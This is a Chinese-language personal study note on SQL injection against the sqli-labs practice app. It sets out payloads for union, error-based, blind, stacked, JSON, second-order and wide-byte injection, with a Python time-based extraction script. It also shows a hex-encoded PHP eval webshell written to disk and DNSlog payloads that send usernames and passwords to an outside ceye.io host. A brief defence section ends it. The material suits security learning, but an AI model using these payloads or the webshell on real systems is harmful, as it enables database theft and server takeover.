SQL注入个人学习总结

SQL注入个人学习总结

  • 1.sql注入原理
  • 2.sql注入的分类
  • 3.sql注入可能出现的功能点
  • 4.判断是否存在sql注入
    • Mysql注入中常用函数
    • 一、联合查询注入
    • 二、报错注入
    • 三、布尔盲注
    • 四、时间盲注
    • 五、堆叠注入
    • 六、json注入
    • 七、二次注入
    • 八、宽字节注入
    • 九、DNSlog注入
    • 十、sql注入写入webshell
  • 5.sql注入的绕过
  • 防御方法
  • 总结

1.sql注入原理

web程序未对用户输入的数据进行严格的检查和过滤就拼接到后台的sql语句中执行,从而被黑客利用进行数据库的增删查改或写入webshell。

2.sql注入的分类

根据数据类型分为:数字型、字符型、搜索型。
根据提交方式分为:get型 post型 cookie,http头(User-agent、referer、xff注入)
依据获取信息的方式分为:联合查询注入,报错注入,基于布尔盲注、基于时间盲注、堆查询注入。

3.sql注入可能出现的功能点

登录页面,留言板,修改信息,获取http请求头(User-agent,referer,xff)等只要是和数据库存在交互的功能点都有可能存在。

4.判断是否存在sql注入

可以用工具扫描 awvs xray appscan等。但大部分网站都有waf,需要手注测试。
1.在参数后边加 ', ", ), )), '),')), "),")), %,%),%))等等尝试进行闭合 看是否会报错。报错就一定存在sql注入。
2.在参数后边加 and 1=1,and 1=2, or 1=1,or 1=2, Xor 1=1, Xor 1=2, ^ 1=1, ^ 1=2     =也可以替换为like 如果显示不一样也存在sql注入漏洞。
3,还有时间检测, 有时候页面可能没有变化 mysql可以尝试 sleep(5) benchmark(10000000,md(5)), sqlserver使用 wait delay '0:0:5' ,PostgreSQL尝试 PG_sleep(5),Generate_series(1,1000000)尝试。 通过页面响应时间 判断是否存在sql注入。

Mysql注入中常用函数

一、联合查询注入

适用于页面存在显示列的注入。
以sqllib1为例。
(1)判断注入点 
	payload:http://localhost/www.sql.com/Less-1/?id=1' and 1=1 --+
	payload: http://localhost/www.sql.com/Less-1/?id=1' and 1=2 --+ 
	     	  根据页面回显不同判断出 id参数存在sql注入。
 (2)判断当前表列数 order by 
 	payload:http://localhost/www.sql.com/Less-1/?id=1' order by 3 --+ 	
 	order by 后边采用二分法 例如 order by 10 显示错误, 5 错误 2 正常 3正常 4 错误,判断出 存在3列。
 (3)判断回显位置    union select  需将参数后边值设为不存在的 例如-1,或者 99999,因为 一般存在 limit 0,1只返回一组数据。
 	payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,2,3 --+
 (4)爆破库名 版本 数据库用户   在存在会显得位置上 修改即可
 payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,database(),3 --+
 version() @@datadir	数据库路径 current_user() 等等 
 (5) 爆破表名 
 payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
 (6)爆破字段名 列名
 payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
 (7)爆破 字段值
 payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+
 (8)写文件 ****into outfile****  ****into dumpfile** **
 payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,"",3 into outfile "F:\\phpstudy_pro\\www\\ma\\8.php" --+
 也可以写入16进制马
 payload:http://localhost/www.sql.com/Less-1/?id=-1' union select 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b203f3e,3 into dumpfile "F:\\phpstudy_pro\\www\\ma\\9.php" --+

二、报错注入

应用场景:查询不回显内容,会打印错误信息 print_r(mysql_error()); update、insert等语句,会打印错误信息
用到的函数 updatexml()  extractvalue()   floor() count() rand() group by
floor()    select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));  group by 对 rand() 函数进行操作时产生错误
extractvalue()    extractvalue(1,concat(0x7e,(select user()),0x7e)); XPATH语法错误产生报错
updatexml()   select updatexml(1,concat(0x7e,(select user())),1) ; XPATH语法错误产生报错
以updatexml()为例
1.爆表 修改 limit 0,1 参数 依次爆出所有表名
http://localhost/www.sql.com/Less-1/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+
2.爆字段名
http://localhost/www.sql.com/Less-1/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1) --+
3.爆字段值
http://localhost/www.sql.com/Less-1/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+
4.爆对应的密码
http://localhost/www.sql.com/Less-1/?id=1' and updatexml(1,concat(0x7e,(select password from users where username = 'Dumb' limit 0,1),0x7e),1) --+
5.如果对返回长度限制在32位字符 可以使用substr((查询语句),1,10) 分段爆破
http://localhost/www.sql.com/Less-1/?id=1' and updatexml(1,concat(0x7e,(select substr(username,1,10) from users limit 0,1),0x7e),1) --+
其余报错函数同理

三、布尔盲注

应用场景:代码存在sql注入漏洞,然而页面不会显数据,也不会显错误信息。只返回"right" 与wrong
这里我们可以通过构造语句,来判断数据库信息的正确性,在通过页面的“真”和“假”来识别我们的判断是否正确,这就是布尔盲注。
布尔盲注函数:
left()       left(database(),1)>'s'	database()显示数据库名称,left(a,b)从左侧截取a的前b位。
regexp           select user() regexp '^r'  正则表达式用法 user()结果为root,regexp为匹配root的正则表达式
like         select users() like ''ro%'   与regexp类似,使用like进行匹配
substr函数   ascii() 函数    ascii(substr(select database()),1,1)=98 从1位置开始截取数据库名字的1个长度,ascii()将字符转化为ascii值。
ord()   mid()     mid(a,b,c) 
ord(mid((select user()),1,1))=114
从位置b开始,截取a字符串的c位,ord()函数通ascii(),将字符转为ascii值。

例如:less-8

(1) 判断闭合 1' and '1'='1  单引号闭合
http://localhost/www.sql.com/Less-8/?id=1 ' and '1'='1

SQL注入个人学习总结_第1张图片

 (2)  判断数据库 mysql 特有表 information_schema.tables schema columns
 		mssql特有表 sysobjects  
 		access特有表 msysobjects 
 		orcale 特有表 dual
 		通过exists()函数 count(*) 函数 再加特有表判断为什么数据库 
http://localhost/www.sql.com/Less-8/?id=1 ' and  exists(select * from information_schema.tables) --+ 
	其余数据库同理
	或者用
	http://localhost/www.sql.com/Less-8/?id=1 ' and  (select count(*) from information_schema.tables)>0 --+

SQL注入个人学习总结_第2张图片

在这里插入图片描述

(3)判断库名方法:
1.先用length()判断库名长度
先用length(database())>5   <10  >7 >8 =8 二分法猜解
http://localhost/www.sql.com/Less-8/?id=1 ' and length(database())=8 --+

SQL注入个人学习总结_第3张图片

2.判断数据库名字一位一位判断
可用函数 left regexp like ascii(substr) ord(mid()) 
left(sql,1)
left(database(),1)='s'          
left(database(),8)='security'    根据回显是否正常挨个判断
http://localhost/www.sql.com/Less-8/?id=1 ' and left(database(),8)='security' -- +	

SQL注入个人学习总结_第4张图片

regexp
select database() regexp '^s';
select database() regexp '^security';
http://localhost/www.sql.com/Less-8/?id=1 ' and  database() regexp '^security'; --+  

like
select database() like 'se%';
select database() like 'security%';

substr(sql,1,1)      ascii() 
ascii(substr((select database()),1,1))=114

ord() 类似 ascii   mid 类似 substr
ord(mid((select database()),1,1))=114;

(4)判断表名   
1.可暴力猜解表名 用exists() 和count()
	 exists(select * from users)
	(select count(*) from users) >0 
	http://localhost/www.sql.com/Less-8/?id=1 ' and  and exists(select * from users) --+
	http://localhost/www.sql.com/Less-8/?id=1 ' and  (select count(*) from users) >0  --+
2.先判断长度 length   在猜解第一个表第一个字段  第一个表第二个字段 依次猜解
判断长度
http://localhost/www.sql.com/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
判断第一位字段 lef((sql),1)='a'
http://localhost/www.sql.com/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' --+ 
判断第二位字段  ascii(substr((sql),2,1))
http://localhost/www.sql.com/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+
判断第三位字段 同二 ord(mid((sql),2,1))
http://localhost/www.sql.com/Less-8/?id=1' and ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97 --+
(5)判断字段名
假设已经爆破出users表
1.可以用exists() 或者 count() 爆破 字段名
 	http://localhost/www.sql.com/Less-8/?id=1' and exists(select username from users) --+
 	或者
 	http://localhost/www.sql.com/Less-8/?id=1' and (select count(password) from users)>0--+ 
 	暴力猜解字段名
2.同上测表方法 先爆破表长度 再挨个破解
(6)爆破字段值
	例如 知道 上述 users表 有id username password 字段
	1.先爆破每个字段值长度
	http://localhost/www.sql.com/Less-8/?id=1' and length((select username from users limit 0,1))>5 --+            >10  <10  >7 >8 =8 二分法 测试
	2.再逐个爆破每个字段每位的内容
	http://localhost/www.sql.com/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+  
	...逐个测试

四、时间盲注

	应用场景:代码存在sql注入漏洞,然而页面既不会显数据,也不会显错误信息。语句执行后也不提示真假,我们不能通过页面的内容进行判断。这里我们可以通过添加语句,通过页面响应的时长,来判断信息,这既是时间盲注。
	使用函数  if((sql),sleep(5),1)  if((sql),benchmark(30000000,md5(1),1) 
	注入流程:
	1.寻找注入点 当参数无论输入什么值,页面都不提示真假后。尝试 id=1' and sleep(5) --+             id=1') and sleep(5) --+   id=1')) and sleep(5) --+   id=1" and sleep(5) --+ 等等 fuzz测试,如果存在页面响应超时 即存在sql注入漏洞。
	2.使用方法将布尔盲注用到的函数加入到(sql) 中即可

简单的时间盲注脚本

# -*- coding: utf-8 -*-

import requests
import time

url = 'http://127.0.0.1/www.sql.com/Less-10/?id=1'

database = 'select schema_name from information_schema.schemata'

table = 'select table_name from information_schema.tables where table_schema=database()'

column = 'select column_name from information_schema.columns where table_name = "采用爆破到的表名0x开头16进制(去掉双引号)"'

result = ''

for i in range(1,30):
    for j in range(48,122):
        payload = ' and if(ascii(substr({} limit 0,1,{},1))={},sleep(5),1) --+'  .format(database,i,j)
        stime = time.time()
        r = requests.get(url+payload)
        #print(r.status_code)
        etime = time.time()
        if etime-stime >=5:
            result += chr(j)
            print(result)
            print(r.status_code)
            break

五、堆叠注入

原理介绍:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在;结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者unionall执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
局限性:
 使用该注入,需要知道数据库的一些信息,例如表名,列名等。
 并不是每种环境都可以使用。
 oracle数据库不行,mysql、mssql‘postgresql可以。
 
应用实例:已经爆破出管理员密码,但是是加密存储,且无法解密。可以使用堆叠注入,在该表中注入 

六、json注入

原文链接:https://blog.csdn.net/a15803617402/article/details/82939202
1.json简介:JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 "application/json"。
2.json语法
	数据在名称/值对中
	数据由逗号分隔
	大括号保存对象
	中括号保存数组
3.json值
JSON 值可以是:
	数字(整数或浮点数)  {"age":30 }
	字符串(在双引号中)  {"uname":"yang"}
	逻辑值(true 或 false) {"flag":true }
	数组(在中括号中){"sites":[{"name":"yang"},{"name":"ming"}]}
	对象(在大括号中)JSON 对象在大括号({})中书写:
	null    { "runoob":null }

4.Json-demo:

{
  "users": {
    "user": [
      {
        "id": "1",
        "username": "admin",
        "passwd": "admin888"
      },
      {
        "id": "2",
        "username": "root",
        "passwd": "root123"
      },
      {
        "id": "3",
        "username": "system",
        "passwd": "system456"
      }
    ]
  }
}

json注入代码

test.php
username;
    //$passwd=$json->passwd;
 
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','654321');
    if($mysqli->connect_errno){
      die('数据库连接失败:'.$mysqli->connect_error);
    }
    $mysqli->select_db('study');
    if($mysqli->errno){
      dir('打开数据库失败:'.$mysqli->error);
    }
    $mysqli->set_charset('utf-8');
    $sql="SELECT username,passwd FROM user WHERE username='{$username}'";
    $result=$mysqli->query($sql);
    if(!$result){
      die('执行SQL语句失败:'.$mysqli->error);
    }else if($result->num_rows==0){
      die('查询结果为空');
    }else {
      $array1=$result->fetch_all(MYSQLI_ASSOC);
      echo "用户名:{$array1[0]['username']},密码:{$array1[0]['passwd']}";
      
    }
    $result->free();
    $mysqli->close();
  }
?>
 json注入和SQL注入一样,插入注入语句。但要注意一点是对影响json语句的要进行转义,如双引号、花括号等。

 post 提交数据 值加' json={"username":"admin'"}
 返回报错信息

SQL注入个人学习总结_第5张图片

and 
json={"username":"admin' and '1'='1 "}

SQL注入个人学习总结_第6张图片

json={"username":"123 ' union select 1,database() -- "}

SQL注入个人学习总结_第7张图片

七、二次注入

原理
分为两步:
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行转义,在写入数据库时还是保留用户输入的数据,但是该数据中包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

例如:
输入参数1'     参数经过转义函数变为1\'    参数进入数据库存储还原为1'
寻找另一处引用这个数据的操作
将1'从数据库中取出       取出后直接给变量并且带入SQL   SQL注入触发

实战   sql-lib 24
1.在创建用户界面 创建 admin'#  123 账号
2.登录  admin '#  123 账号 修改admin'#密码为  123456
3.发现 admin 密码变为123456

八、宽字节注入

应用场景:
目标程序使用双/多字节字符进行解析。
	可以从响应头Contye-type查看,如果是text/html;charset=gbk 可以尝试使用。
什么是宽字节?
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际为两字节。
防御:将' 转换为 \' 
绕过:将\消灭	
方法:在注入点后键入%df,然后按照正常的注入流程开始注入

输入 '    
处理 \'    
编码 %5c%27  \'   
带入sql     id=1\] and  不能注入
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字
输入 %df'  
处理为%df\'   
编码为 %df%5c%27    
带入sql  id=均' and   可以注入

黑盒测试
	在可能的注入点后键入%df,之后进行注入测试。
白盒测试
	1、查看MySql的编码是否为GBK。
	2、是否使用preg_replace把单引号体会换成\'
	3、是否使用addslashes进行转义
	4、是否使用mysql_real_escape_string进行转义
防御
	1、使用utf-8 避免宽字节注入;ps 不仅在gbk,韩文,日文等等都是宽字节,都有可能存在宽字节注入漏洞。
	2、mysql_real_escape_string,mysql_set_charset('gbk',$conn);
	3、可以设置参数,character_set_client=binary  使用二进制的模式连接数据库$result=mysql_query("character_set_client=binary"$sql);

九、DNSlog注入

应用场景:
	代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息我通过布尔或者时间盲注都可以获取到内容,但是整个过程效率低,需要发送很多的请求进判断,很可能会触发安全设备的防护。我们需要一种方式,减少请求,直接回显数据,这里可以使用dnslog注入。
dnslog平台: http://ceye.io/
DNSlog 盲注方法
	构造语句,利用load_file() 函数发起请求,使用dnslog接受请求,获取数据
	核心语法:
		select load_file(concat('\\\\',(select database()),'.mysql.xxx.ceye.io\\abc'));
	 	select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mysql.xxx.ceye.io\\abc'));
	实战场景 :  sqllib less-10 时间盲注 使用
		爆字段
		http://localhost/www.sql.com/Less-10/?id=1" and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.mysql.0e6xsd.ceye.io\\abc')) --+
		爆字段值
		http://localhost/www.sql.com/Less-10/?id=1" and load_file(concat('\\\\',(select concat(username,'abc',password) from users limit 3,1),'.mysql.0e6xsd.ceye.io\\abc')) --+
		http://localhost/www.sql.com/Less-10/?id=1" and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 3,1),'.mysql.0e6xsd.ceye.io\\abc')) --+
		hex值去hackbar解码即可

十、sql注入写入webshell

条件:
(1)数据库当前用户为root或者拥有file权限。
(2)知道网站的绝对路径。
(3)php的gpc参数为off。
(4)mysql的secure_file_priv不为null。

5.sql注入的绕过

https://blog.csdn.net/YouthBelief/article/details/120741188

防御方法

(1)使用预编译语句,使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑
(2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
(3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
(5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
(7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
(8)过滤危险字符,例如:采用正则表达式匹配union、sleep、and、select、load_file等关键字,如果匹配到则终止运行。

总结

自己随便记录笔记。

你可能感兴趣的:(web安全,sql)